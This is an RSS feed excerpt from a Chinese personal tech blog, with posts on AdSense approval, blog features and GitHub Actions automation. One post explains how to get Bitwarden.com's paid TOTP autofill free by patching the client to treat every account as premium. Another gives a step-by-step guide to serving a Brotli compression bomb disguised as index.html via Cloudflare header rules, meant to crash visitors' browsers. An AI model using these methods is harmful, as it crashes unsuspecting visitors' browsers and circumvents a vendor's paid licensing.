&lt;li&gt;&lt;strong&gt;提升网站互动&lt;/strong&gt; 。可以为网站接入评论区/访问量显示，可以在明面上让人觉得这个网站很有热度，提升网站活跃度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保证网站稳定运行&lt;/strong&gt; 。推荐使用Cloudflare托管网站，可以零成本抵御DDoS攻击。保证在Adsense审核期间您的网站始终可用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;始终申请，被拒后一直申请直到通过&lt;/strong&gt; 。Adsense并没有黑名单这类机制，如果申请被拒，请让你的网站变得更好，然后再次申请，直到通过审核即可&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;我的心路历程&lt;/h1&gt;
&lt;p&gt;自从25年8月开始（实际上更早），我就开始申请Adsense了。期间一直被拒，直到今天成功通过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-1.DpZiK4gl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最开始被拒绝的理由是 &lt;strong&gt;低价值内容&lt;/strong&gt; ，但在随后的几次直接变为了账号违反 Adsense 准则，不再提供详细的理由了&lt;/p&gt;
&lt;p&gt;但我依然没有放弃，始终申请，每一次申请都让网站变得更易用，更有用&lt;/p&gt;
&lt;p&gt;从最初的只有50多篇文章，到如今的137篇文章&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-2.CALHg-fR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从最初的简单静态只读站点，到如今的加入了访问量，评论区，文章Diff，以及各种小功能&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-3.AqqStR9W.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-4.CDOA-61w.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-5.COANclFK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从最初的没有友链，到如今的109条友链&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-7.BveHH5qV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从最初的各种跟踪器百花齐放，到如今的分类规整，访客可以自由调节允许收集的信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-8.7lsA-ge-.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从最初的博客，仅提供文章查阅，到如今的官网，各类精品功能应有尽有&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-9.CNX0DT5-.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-10.CXeeP-uC.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从最初的只有我一人浏览，到如今的月IP12k&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/google-adsense-11.SgV0lssk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一路走来，感谢有你。无论是想要让网站赚取收入，又或是仅仅想让它变得更好，都需要我们一步一个脚印，千里之行，始于足下，让我们一起迈向更好的明天！&lt;/p&gt;
</content:encoded></item><item><title>魔幻嫁接！免费用上完全体的Bitwarden！</title><link>https://2x.nz/posts/bitwarden-com/</link><guid isPermaLink="true">https://2x.nz/posts/bitwarden-com/</guid><description>你是否正在寻找一个密码库？又不想自托管？</description><pubDate>Mon, 23 Feb 2026 08:08:48 GMT</pubDate><content:encoded>&lt;h1&gt;Bitwarden以及Bitwarden.com是什么&lt;/h1&gt;
&lt;p&gt;Bitwarden是一个开源的密码库工具（云服务或自托管），用户可以将所有网站的登录凭据（包含：密码、TOTP、通行密钥等） &lt;strong&gt;端到端加密&lt;/strong&gt; 存储至其中。并在需要的时候自动填充帮你登录网站。这样，你就不再需要记住各个网站的账号密码了，只要你能访问Bitwarden，它会帮你做好一切&lt;/p&gt;
&lt;p&gt;而Bitwarden.com是一项服务，提供用以存储密码库的服务器，使得用户 &lt;strong&gt;无需自有服务器&lt;/strong&gt; 就可以使用Bitwarden&lt;/p&gt;
&lt;h1&gt;Bitwarden.com 免费版的“默认”限制&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://bitwarden.com/&quot;&gt;Best Password Manager for Business, Enterprise &amp;amp; Personal | Bitwarden&lt;/a&gt; 免费版没法用TOTP，必须花钱来升级套餐实现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2026-02-23-16-24-34-42_edf9c6c5202cf0a.Cp8OCt5A.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们当然也可以选择不在任何网站使用TOTP，但这样的话。所有网站都只有密码保护你的账号，从长远来看这并不安全&lt;/p&gt;
&lt;h1&gt;Bitwarden.com 免费版实际上限制的东西&lt;/h1&gt;
&lt;p&gt;实际上，如果你曾经用过其他密码库，并存储了TOTP，并将其导入到 Bitwarden.com ，你会发现，它是可以成功导入的，只不过是无法“自动填充”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/bitwarden-com.CDP4g7JK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么也就是说，实际上 Bitwarden.com 并没有封禁免费用户存储TOTP的权限&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;它只是在前端阻止了免费用户“自动填充”TOTP的权限&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;绕过 Bitwarden.com 免费版无法自动填充TOTP的限制&lt;/h1&gt;
&lt;p&gt;既然它是在前端阻止，我们实际上是有办法绕过的&lt;/p&gt;
&lt;p&gt;无非就是自建一个第三方客户端/浏览器插件，然后在判断VIP的字段让它始终返回 &lt;code&gt;true&lt;/code&gt; 即可&lt;/p&gt;
&lt;p&gt;我们当然可以自己从零来实现，当然，也可以直接寻找市面上已有的，不错的解决方案&lt;/p&gt;
&lt;h3&gt;针对于 Android&lt;/h3&gt;
&lt;p&gt;我们可以使用 &lt;a href=&quot;https://github.com/AChep/keyguard-app&quot;&gt;AChep/keyguard-app: Alternative client for the Bitwarden® platform &amp;amp; KeePass (KDBX), created to provide the best user experience possible.&lt;/a&gt; 这个开源的第三方Bitwarden客户端&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意，不要去Google Play下载。只有Github的版本拥有全部功能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;此时，登录你的Bitwarden账号，即可绕过免费版限制，使用TOTP自动填充&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2026-02-23-16-28-57-77_f2500aab0c419d0.BxHhnGJA.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;关于KeyGuard对通行密钥的适配问题&lt;/h4&gt;
&lt;p&gt;KeyGuard可能无法自动填充你的通行密钥，这可能由多种情况导致，但一般是这种情况： &lt;a href=&quot;https://github.com/AChep/keyguard-app/issues/635&quot;&gt;[虫子]通行密钥在Cloudflare上无法使用·第#635期 ·AChep/keyguard-app&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以尝试重新生成一份通行密钥，通过KeyGuard上传至Bitwarden.com&lt;/p&gt;
&lt;p&gt;但更建议： &lt;strong&gt;不使用通行密钥，而是使用更广泛的TOTP二步验证方式&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;PC 浏览器插件&lt;/h3&gt;
&lt;p&gt;可以使用 &lt;a href=&quot;https://github.com/SunsetMkt/Sunsetvault&quot;&gt;SunsetMkt/Sunsetvault: Builder for Sunsetvault extension.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;它仅做一件事：当Bitwarden官方浏览器插件源码发布时，拉取并修补一段代码：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;让任意账户都被识别为VIP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这样，TOTP就可用了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/bitwarden-com-1.CITMz6Em.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;相比自建的好处&lt;/h1&gt;
&lt;p&gt;直接使用 Bitwarden.com ，你就不再需要有一台服务器来部署 &lt;a href=&quot;https://github.com/dani-garcia/vaultwarden&quot;&gt;Vaultwarden&lt;/a&gt; 或研究晦涩难懂的Rust/TS代码在Cloudflare Worker上部署 &lt;a href=&quot;https://github.com/afoim/warden-worker&quot;&gt;warden-worker&lt;/a&gt; / &lt;a href=&quot;https://github.com/shuaiplus/NodeWarden&quot;&gt;NodeWarden&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;并且也可以收益于官方的登录日志邮件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/bitwarden-com-2.BLQgqAzL.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;注意事项&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;该方法为 &lt;strong&gt;非官方授权绕过方案&lt;/strong&gt; 。不保证未来的可用性，仅供测试学习使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请不要用Bitwarden.com来管理登录Bitwarden.com的凭据&lt;/strong&gt; （如：TOTP，通行密钥等），一旦你无法访问Bitwarden.com，你将无法恢复存储在其上的任何密码。请记住你登录Bitwarden的账密  ，若有二步验证凭据，应当存储在其他地方（如脱机的谷歌/微软验证器，或将密钥写在纸上并存放到私密的地方） &lt;em&gt;这也是你唯一要记住的东西了&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;不用担心 Bitwarden.com 宕机。一旦有设备成功登录到Bitwarden，该设备就可以用以导出密码库中的所有密码。&lt;strong&gt;只要 Bitwarden.com / 登陆设备 二者有其一可用，密码就永不会丢失&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;设置 Bitwarden 的主密码时要尤其小心。&lt;strong&gt;该密码无法通过忘记密码来更改&lt;/strong&gt; 。只有在已经登录进 Bitwarden 时才能更改，并且需要验证原主密码。详见： https://bitwarden.com/help/article/forgot-master-password/&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;参考文献 · 鸣谢&lt;/h1&gt;
&lt;p&gt;为此文的编写奠定基础 - &lt;a href=&quot;https://blog.weijx.vip/p/%E5%AF%86%E7%A0%81%E7%AE%A1%E7%90%86%E5%99%A8%E6%8A%98%E8%85%BE%E8%AE%B0%E4%BB%8E%E5%BE%AE%E8%BD%AF%E8%83%8C%E5%88%BA%E5%88%B0-keyguard-%E7%9C%9F%E9%A6%99&quot;&gt;密码管理器折腾记：从微软背刺到 KeyGuard 真香&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>文章更新提醒功能食用指南 - 超级牛逼！</title><link>https://2x.nz/posts/post-diff-guide/</link><guid isPermaLink="true">https://2x.nz/posts/post-diff-guide/</guid><description>也就是右下角那个超级牛逼的小铃铛，到底该怎么用？</description><pubDate>Sat, 21 Feb 2026 17:32:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;没错，就是你现在看到的右下角那个并不起眼的小铃铛。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你可能已经注意到了，最近博客右下角多了一个小铃铛图标。这并不是什么订阅推送（虽然它长得很像），而是一个&lt;strong&gt;基于客户端的文章更新检测系统&lt;/strong&gt;。&lt;/p&gt;
&lt;h1&gt;为什么要搞这个？&lt;/h1&gt;
&lt;p&gt;很多时候，我们写完一篇文章后，可能会发现有错别字，或者某些观点需要补充，甚至是因为某些原因需要删改内容。&lt;/p&gt;
&lt;p&gt;对于读者（也就是你）来说，如果你之前看过这篇文章，再次点进来时，可能很难发现到底哪里变了。是改了个标点？还是加了一大段干货？&lt;/p&gt;
&lt;p&gt;为了解决这个“找不同”的难题，我们引入了这个功能。它会记录你上次访问时的文章版本，并在你下次访问时，自动对比服务器上的最新版本，告诉你：&lt;strong&gt;这篇文章变了，具体变在哪。&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;食用方法&lt;/h1&gt;
&lt;p&gt;其实非常简单，整个流程完全自动化，不需要你手动做任何操作。&lt;/p&gt;
&lt;h2&gt;1. 发现更新&lt;/h2&gt;
&lt;p&gt;当你浏览博客时，系统会自动在后台获取最新的 RSS 订阅源，并与你本地缓存的文章记录进行比对。&lt;/p&gt;
&lt;p&gt;如果发现了有文章更新（无论是内容、标题还是描述），右下角的小铃铛就会出现一个&lt;strong&gt;红点&lt;/strong&gt;，并且会有一个入场动画提醒你“有新东西了”。&lt;/p&gt;
&lt;h2&gt;2. 查看列表&lt;/h2&gt;
&lt;p&gt;点击小铃铛，会弹出一个面板，列出所有有变动的文章。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;新文章&lt;/strong&gt;：带有一个绿色的 &lt;code&gt;NEW&lt;/code&gt; 标签，表示这是你上次访问以来新发布的文章。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新&lt;/strong&gt;：带有一个蓝色的 &lt;code&gt;UPDATE&lt;/code&gt; 标签，表示这篇文章你之前可能看过（或者它存在于你的缓存中），但现在它有了新的变化。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. 查看 DIFF&lt;/h2&gt;
&lt;p&gt;这是最核心的功能。点击带有 &lt;code&gt;UPDATE&lt;/code&gt; 标签的文章标题，浏览器会直接跳转到该文章，并自动滚动到&lt;strong&gt;第一个变更点&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在文章正文中，你会看到类似代码编辑器的 DIFF 效果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;span style=&quot;color:rgb(220 38 38);text-decoration:line-through&quot;&amp;gt;红色划线部分&amp;lt;/span&amp;gt;：表示被删除或修改前的内容。&lt;/li&gt;
&lt;li&gt;&amp;lt;span style=&quot;color:rgb(22 163 74);text-decoration:underline&quot;&amp;gt;绿色下划线部分&amp;lt;/span&amp;gt;：表示新增或修改后的内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
如果变更内容较多，我们只会显示变更点附近的几行文字作为上下文（Context），其余未变动的部分会保持原样，不会干扰你的正常阅读。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q: 为什么我没看到小铃铛？&lt;/strong&gt;
A: 如果没有检测到任何新文章或更新，小铃铛会默认隐藏，以免打扰你阅读。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: 为什么有时候明明文章没变化，却提示更新了？&lt;/strong&gt;
A: 系统不仅检测正文，还会检测标题和描述。有时候我可能只是改了个标点，或者修正了排版，也会触发更新通知。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: 我不想看这些红红绿绿的线了怎么办？&lt;/strong&gt;
A: 在小铃铛面板右上角，有一个&lt;strong&gt;清空&lt;/strong&gt;按钮（垃圾桶图标）。点击它，系统会将当前所有文章标记为“已读/最新”，并清空本地的对比记录。下次再有新变化时，才会再次提醒。&lt;/p&gt;
</content:encoded></item><item><title>网站加友链的最佳姿势是什么？当然是自动化啦！</title><link>https://2x.nz/posts/auto-pr-link/</link><guid isPermaLink="true">https://2x.nz/posts/auto-pr-link/</guid><description>如果你经常一觉醒来就看到一堆友链 PR，还得逐个检查格式、顺手帮对方修语法错误，那把这件事自动化确实会轻松很多。</description><pubDate>Tue, 17 Feb 2026 22:41:17 GMT</pubDate><content:encoded>&lt;h1&gt;起因&lt;/h1&gt;
&lt;p&gt;正如很多站长都会遇到的那样，如果你通过 PR 来处理友链申请，尤其是在完全没有自动化的情况下，大概率会遇到下面这种场面：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-1.9Le-jiee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数量多其实还不是最麻烦的，真正麻烦的是：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-2.BiAs4BYl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;以及各种格式问题。&lt;/p&gt;
&lt;p&gt;是的，我甚至都没有设计什么复杂格式，但很多人提交友链时，连 JSON 都写不明白。上图是忘了引号，下图则连 &lt;code&gt;.json&lt;/code&gt; 后缀都没写对。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-3.DOTB_FUL.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;很长一段时间里，这些小问题我都是手动帮忙修的，毕竟看起来都不算大事。&lt;/p&gt;
&lt;p&gt;但问题在于：当你正在打游戏，或者正忙着处理别的事情时，突然弹出一个友链 PR，你到底是现在处理，还是留到之后集中处理？无论怎么选，都挺打断节奏。&lt;/p&gt;
&lt;p&gt;所以我就在想：有没有办法把这件事尽可能自动化掉？&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;我们能不能用 GitHub Action 来自动化这件事？&lt;/p&gt;
&lt;p&gt;思路是这样的：让用户在提交友链时额外填写一个回链字段，然后由 GitHub Action 实际检测是否存在回链。这样不仅能确认对方确实添加了你的友链，也能顺便完成一次所有权验证。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-11.Lsmkfeej.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始（旧的）&lt;/h1&gt;
&lt;p&gt;我们可以先把整个流程拆开来想一遍。&lt;/p&gt;
&lt;p&gt;GitHub Action 本来就是用来处理这类自动化任务的，这不正好符合我们的需求吗？甚至还可以顺手做一些更高级的事情，比如所有权验证，某种程度上和站长平台验证域名的思路很像。&lt;/p&gt;
&lt;p&gt;于是，整体流程草图很快就出来了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-4.DBgvfUla.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来再把这份思路交给 AI 帮忙整理实现。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-5.CC715z7u.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终你就得到了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-6.AiopMPLj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;没关系，前期看起来乱一点很正常，毕竟 GitHub Action 这类流程很多时候只能在真实环境里慢慢调试。&lt;/p&gt;
&lt;p&gt;最终我们就会得到...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-7.PIJla-kM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看起来是不是很简单？其实并没有。现在看到的这套流程虽然表面上还算清晰，但也是反复梳理和修改之后，才勉强打磨到“基本能用”的状态。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-8.D3pbJaYw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下面再说一些非常容易踩坑的地方。&lt;/p&gt;
&lt;h1&gt;踩坑&lt;/h1&gt;
&lt;p&gt;首先，这整套架构虽然最终看起来还算清晰，但实际逻辑并不简单。要是一次就能跑通，那已经算运气很好了；一旦中间某一步出问题，排查起来会相当痛苦。&lt;/p&gt;
&lt;p&gt;所以在多次调整架构之后，我最终决定直接使用 GitHub 的标签系统来跟踪进度并锚定规则。&lt;/p&gt;
&lt;p&gt;每一步都给 PR 打上明确的标签，就像这样：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-9.CeSQKVq8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样做的好处是，不仅在外部一眼就能看出某个 PR 卡在哪一步，也能让你在不额外写复杂日志的情况下，大致判断问题出在哪里。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/auto-pr-link-10.DPEuGDdC.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来是所有权验证。这个环节其实必须做好错误处理，因为它往往无法一次性顺利跑到底。借助 GitHub 标签，我们可以控制某些步骤是否跳过，从而避免验证文件被重复要求，或者每次都随机生成一个新的文件。&lt;/p&gt;
&lt;p&gt;只要打上 &lt;code&gt;所有权验证进行中&lt;/code&gt; 这个标签，Action 就会去寻找之前已经创建好的验证文件，而不是重新生成一个新的。&lt;/p&gt;
&lt;p&gt;到这里看起来还只是基本功，但后面还有一个更关键的问题。&lt;/p&gt;
&lt;p&gt;我发现，只要是从外部仓库拉进来的 PR，Action 就没法直接通过 &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; 去合并它。不过这个问题也不算麻烦，额外创建一个自己的个人访问令牌（PAT），再把它绑定到 Action 中即可。&lt;/p&gt;
&lt;p&gt;至此，这套自动化流程终于能比较顺畅地跑起来了。&lt;/p&gt;
</content:encoded></item><item><title>如何在你的网站上放一个压缩炸弹？</title><link>https://2x.nz/posts/web-bomb/</link><guid isPermaLink="true">https://2x.nz/posts/web-bomb/</guid><description>你知道压缩炸弹吗？就是那种看着人畜无害小小的只有几kb的文件，但是解压后却有高达几十几百G的文件的神秘东西！</description><pubDate>Sat, 14 Feb 2026 03:59:29 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;很早之前，我有一位朋友给我发了一个神秘的网站，打开以后就是一直转圈圈&lt;/p&gt;
&lt;p&gt;但是正常来说，浏览器的转圈圈是有超时的，我在那等了好几分钟还是在转圈圈&lt;/p&gt;
&lt;p&gt;最后发现不是网络请求的问题，而是网页提供的资产的问题！&lt;/p&gt;
&lt;p&gt;原始网页发送了一个 42kb 大小的文件，通过响应头告知浏览器为br压缩，原始格式为html，然后...&lt;/p&gt;
&lt;p&gt;打开F12控制台，我去！这玩意怎么有10个G！不对！它还在加载！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/web-bomb.D5-bgDYr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后得知这就是个Web压缩炸弹，今天又想起来这件事了，就尝试折腾了一下&lt;/p&gt;
&lt;p&gt;接下来手把手教各位做这个压缩炸弹！&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;在现代网页中，服务器一般不提供原始的源文件（如：.html），而是提供一个压缩后的文件（如：.br, .gz, .zstd）&lt;/p&gt;
&lt;p&gt;浏览器收到文件后根据 &lt;code&gt;Content-Encoding&lt;/code&gt; 响应标头的值来判断资产是否被压缩以及要使用的解压算法是什么&lt;/p&gt;
&lt;p&gt;此项措施原本是为了节省网络带宽，分发压缩后的网页文件一般会比分发原始文件消耗的带宽少得多&lt;/p&gt;
&lt;p&gt;如果你稍微了解过压缩原理，你应该就知道压缩实际上就是去重+归类&lt;/p&gt;
&lt;p&gt;用一个不太恰当的例子&lt;/p&gt;
&lt;p&gt;假如这是源文件，一共有10个0&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们想要压缩？非常简单！因为该文件只有10个0，我们可以将其写为 &lt;code&gt;10-0,&lt;/code&gt; 以代表10个0，这样，一个简单的压缩算法就实现了&lt;/p&gt;
&lt;p&gt;它成功将源文件压缩了50%（源文件存放需要10个单位，压缩后仅需5个单位）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这只是一个简单的演示，并不代表市面上任意一个压缩算法，仅限于简单理解“压缩是怎么实现的”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;那么如果我们往一个文件内塞入非常非常多的0呢？然后将其压缩，最终就能得到一个十分小的压缩文件，但是解压后就会释放出巨大的文件！&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
zstd与br的压缩率远高于gz，所以一般都使用他们来制作压缩炸弹，压缩后与源文件的比率可以达到惊人的 &lt;strong&gt;1:124878.0487804878&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一个 &lt;strong&gt;8.20 KB&lt;/strong&gt; 的压缩炸弹，解压后可以释放高达 &lt;strong&gt;10 GB&lt;/strong&gt; 的文件！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;p&gt;首先我们需要准备这个特制的压缩炸弹，你可以手动制作，也可以直接从这里下载 &lt;a href=&quot;https://www.chenxublog.com/2020/11/16/web-bomb-eat-memory.html&quot;&gt;吃内存的网页炸弹 – 晨旭的博客~&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;接下来我们就得到一个压缩炸弹了，它看起来人畜无害&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/web-bomb-1.SEkuSrwW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当我们使用解压工具进行解压后就能得到这个巨大的原文件了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/web-bomb-2.BMSf-FAf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ok，接下来我们只需要将这个压缩炸弹放到web上，然后设置压缩标头即可&lt;/p&gt;
&lt;p&gt;那么...放在哪呢？其实哪都可以，你只需要确保&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web服务器能提供 &lt;strong&gt;原始的压缩炸弹文件&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Web服务器能够提供给客户端一个能使压缩炸弹 &lt;strong&gt;被正常解压缩的压缩标头 &lt;code&gt;Content-Encoding&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们以Cloudflare Page/Worker 的静态托管举例&lt;/p&gt;
&lt;p&gt;首先，将压缩炸弹放到静态资产目录（为了伪装，我这边重命名为了 &lt;code&gt;index.html&lt;/code&gt; ）
&lt;img src=&quot;https://2x.nz/_astro/web-bomb-3.CDT-HNYN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来，编辑Cloudflare规则，使其能给客户端一个我们所期望的标头&lt;/p&gt;
&lt;p&gt;由于Cloudflare默认针对html文件采用了自动压缩，我们的压缩炸弹会被cf再压缩一遍，这会导致压缩炸弹失效，可参考下图的逻辑链&lt;/p&gt;
&lt;p&gt;原始压缩炸弹.br -&amp;gt; Cloudflare 自动压缩（一般为 .zstd） -&amp;gt; 原始压缩炸弹.br.zstd -&amp;gt; 发送给客户端并携带zstd压缩标头 -&amp;gt; 客户端使用 zstd 算法解压得到 原始压缩炸弹.br -&amp;gt; 直接将 原始压缩炸弹.br 作为HTML显示 -&amp;gt; 乱码&lt;/p&gt;
&lt;p&gt;这样就没有效果了，所以我们首先需要禁用Cloudflare的自动压缩，使其直接提供原始文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/web-bomb-4.X3GeI6n-.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来由于Cloudflare自动压缩被禁用了，&lt;code&gt;Content-Encoding&lt;/code&gt; 响应标头也会被移除，此时如果客户端拉取，就是以下结果&lt;/p&gt;
&lt;p&gt;原始压缩炸弹.br  -&amp;gt; 直接将 原始压缩炸弹.br 作为HTML显示 -&amp;gt; 乱码&lt;/p&gt;
&lt;p&gt;我们仍然没有达到我们的目的，所以我们需要额外再配置一条响应标头规则，强制让客户端以 br 算法解压我们的压缩炸弹 &lt;em&gt;保险起见，这里让客户端将文件类型强制解析为html，避免其他类型导致客户端忽略 &lt;code&gt;Content-Encoding&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/web-bomb-5.xMcvLzcn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来再尝试访问，不出意外，客户端成功吃到我们的压缩炸弹了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/msedge_xYm7TNsMiq.Bgm1kCuZ.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;压缩炸弹的用处？&lt;/h1&gt;
&lt;p&gt;没啥用，只能拿来炸炸你朋友的浏览器&lt;/p&gt;
&lt;p&gt;如果你想拿来替代WAF拦截，该方法确实有效，但是对于一些带宽敏感的CDN，还是建议返回CDN自带的拦截页面避免CDN误判 &lt;em&gt;你没做好防护&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;鸣谢&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chenxublog.com/2020/11/16/web-bomb-eat-memory.html&quot;&gt;吃内存的网页炸弹 – 晨旭的博客~&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你跑一个二次元AI老婆！</title><link>https://2x.nz/posts/ai-wife/</link><guid isPermaLink="true">https://2x.nz/posts/ai-wife/</guid><description>极！其！简！单！傻！子！都！会！本期将手把手教你从软件安装，到模型配置再到出图，百分百画出惊艳的图片！</description><pubDate>Thu, 12 Feb 2026 10:20:25 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
